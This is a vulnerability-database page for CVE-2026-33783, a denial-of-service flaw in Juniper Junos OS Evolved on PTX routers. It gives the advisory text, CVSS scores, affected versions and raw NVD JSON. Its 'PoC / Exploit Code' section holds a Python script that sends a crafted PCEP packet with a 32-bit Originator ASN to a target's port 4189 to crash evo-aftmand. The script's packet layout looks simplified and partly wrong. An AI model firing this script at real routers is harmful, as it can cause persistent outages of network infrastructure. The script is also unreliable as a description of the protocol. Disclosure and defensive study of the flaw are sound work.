CVE-2026-33783

Description

A Function Call With Incorrect Argument Type vulnerability in the sensor interface of Juniper Networks Junos OS Evolved on PTX Series allows a network-based, authenticated attacker with low privileges to cause a complete Denial of Service (DoS). If colored SRTE policy tunnels are provisioned via PCEP, and gRPC is used to monitor traffic in these tunnels, evo-aftmand crashes and doesn't restart which leads to a complete and persistent service impact. The system has to be manually restarted to recover. The issue is seen only when the Originator ASN field in PCEP contains a value larger than 65,535 (32-bit ASN). The issue is not reproducible when SRTE policy tunnels are statically configured. This issue affects Junos OS Evolved on PTX Series: * all versions before 22.4R3-S9-EVO, * 23.2 versions before 23.2R2-S6-EVO, * 23.4 versions before 23.4R2-S7-EVO, * 24.2 versions before 24.2R2-S4-EVO, * 24.4 versions before 24.4R2-S2-EVO, * 25.2 versions before 25.2R1-S2-EVO, 25.2R2-EVO.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:juniper:junos_os_evolved:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:juniper:junos_os_evolved:22.4:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:juniper:junos_os_evolved:22.4:r1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:juniper:junos_os_evolved:22.4:r1-s1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:juniper:junos_os_evolved:22.4:r1-s2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:juniper:ptx10001-36mr:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:juniper:ptx10002-36qdd:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:juniper:ptx10003:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:juniper:ptx10004:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:juniper:ptx10008:-:*:*:*:*:*:*:* - NOT VULNERABLE

Junos OS Evolved on PTX Series < 22.4R3-S9-EVO

Junos OS Evolved on PTX Series 23.2 < 23.2R2-S6-EVO

Junos OS Evolved on PTX Series 23.4 < 23.4R2-S7-EVO

Junos OS Evolved on PTX Series 24.2 < 24.2R2-S4-EVO

Junos OS Evolved on PTX Series 24.4 < 24.4R2-S2-EVO

Junos OS Evolved on PTX Series 25.2 < 25.2R1-S2-EVO, 25.2R2-EVO

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC Concept for CVE-2026-33783
# This script demonstrates the condition that triggers the crash in evo-aftmand.
# It sends a PCEP message with an Originator ASN > 65535.

import socket
import struct

def trigger_cve(target_ip, target_port=4189):
    """
    Sends a crafted PCEP message to trigger the Function Call With Incorrect Argument Type.
    """
    try:
        # PCEP Common Header (Version 1, Flags, Message Type, Length)
        # Type 2 = PCInitiate (example), Length varies
        pcep_header = struct.pack('!BBHI', 1, 0, 2, 32) # Simplified header

        # SRP Object (Stateful PCE Request Parameters)
        srp_obj = struct.pack('!HHI', 0x0020, 0, 0x10000000) # Simplified SRP

        # LSP Object with Originator ASN
        # The vulnerability triggers when Orig-ASN > 65535 (32-bit)
        malicious_asn = 70000 # 32-bit ASN value
        # Constructing LSP Object header + TLV for Originator ASN
        # This is a representation of the malformed data structure
        lsp_obj_header = struct.pack('!HHI', 0x0010, 0, 12) # Class=16, Type=0
        asn_tlv = struct.pack('!HHI', 0x0014, 0, malicious_asn) # TLV containing the large ASN

        payload = pcep_header + srp_obj + lsp_obj_header + asn_tlv

        print(f"[*] Sending malicious PCEP packet to {target_ip} with ASN={malicious_asn}")
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((target_ip, target_port))
        sock.send(payload)
        sock.close()
        print("[+] Payload sent. Check if evo-aftmand crashed.")

    except Exception as e:
        print(f"[-] Error: {e}")

# Note: This requires a valid PCEP session setup in a real scenario.
# The specific object structure depends on the exact PCEP implementation on the target.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33783
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33783
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33783/
[4] VulDB https://vuldb.com/cve/CVE-2026-33783
[5] https://kb.juniper.net/JSA107870

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33783", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:27.590", "lastModified": "2026-04-17T18:27:14.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Function Call With Incorrect Argument Type vulnerability in the sensor interface of Juniper Networks Junos OS Evolved on PTX Series allows a network-based, authenticated attacker with low privileges to cause a complete Denial of Service (DoS).\n\n\nIf colored SRTE policy tunnels are provisioned via PCEP, and gRPC is used to monitor traffic in these tunnels, evo-aftmand crashes and doesn't restart which leads to a complete and persistent service impact. The system has to be manually restarted to recover. The issue is seen only when the Originator ASN field in PCEP contains a value larger than 65,535 (32-bit ASN). The issue is not reproducible when SRTE policy tunnels are statically configured.\n\n\nThis issue affects Junos OS Evolved on PTX Series: \n\n\n\n * all versions before 22.4R3-S9-EVO,\n * 23.2 versions before 23.2R2-S6-EVO,\n * 23.4 versions before 23.4R2-S7-EVO,\n * 24.2 versions before 24.2R2-S4-EVO,\n * 24.4 versions before 24.4R2-S2-EVO,\n * 25.2 versions before 25.2R1-S2-EVO, 25.2R2-EVO."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:X/RE:M/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "USER", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-686"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos_os_evolved:*:*:*:*:*:*:*:*", "versionEndExcluding": "22.4", "matchCriteriaId": "A9925263-E7B7-49AA-8271-AF320F355B80"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos_os_evolved:22.4:-:*:*:*:*:*:*", "matchCriteriaId": "0A33C425-921F-4795-B834-608C8F1597E0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos_os_evolved:22.4:r1:*:*:*:*:*:*", "matchCriteriaId": "93887799-F62C-4A4A-BCF5-004D0B4D4154"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos_os_evolved:22.4:r1-s1:*:*:*:*:*:*", "matchCriteriaId": "62C473D2-2612-4480-82D8-8A24D0687BBD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos_os_evolved:22.4:r1-s2:*:*:*:*:*:*", "matchCriteriaId": "7FB4C5CA-A709-4B13-A9E0-372098A72AD3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos_os_evolved:22.4:r2:*:*:*:*:*:*", "matchCriteriaId": "04CE952D-E3C1-4B34-9E65-EC52BFE887AB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos_os_evolved:22.4:r2-s1:*:*:*:*:*:*", "matchCriteriaId": "8AE9D1A7-4721-4E1D-B965-FDC38126B1DD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos_os_evolved:22.4:r2-s2:*:*:*:*:*:*", "matchCriteriaId": "A8643AA3-29EF-48A7-B033-CB60988E214B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos_os_evolved:22.4:r3:*:*:*:*:*:*", "matchCriteriaId": "9800BA03-E6BF-4212-B2E7-69C0FD27D294"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos_os_evolved:22.4:r3-s1:*:*:*:*:*:*", "matc ... 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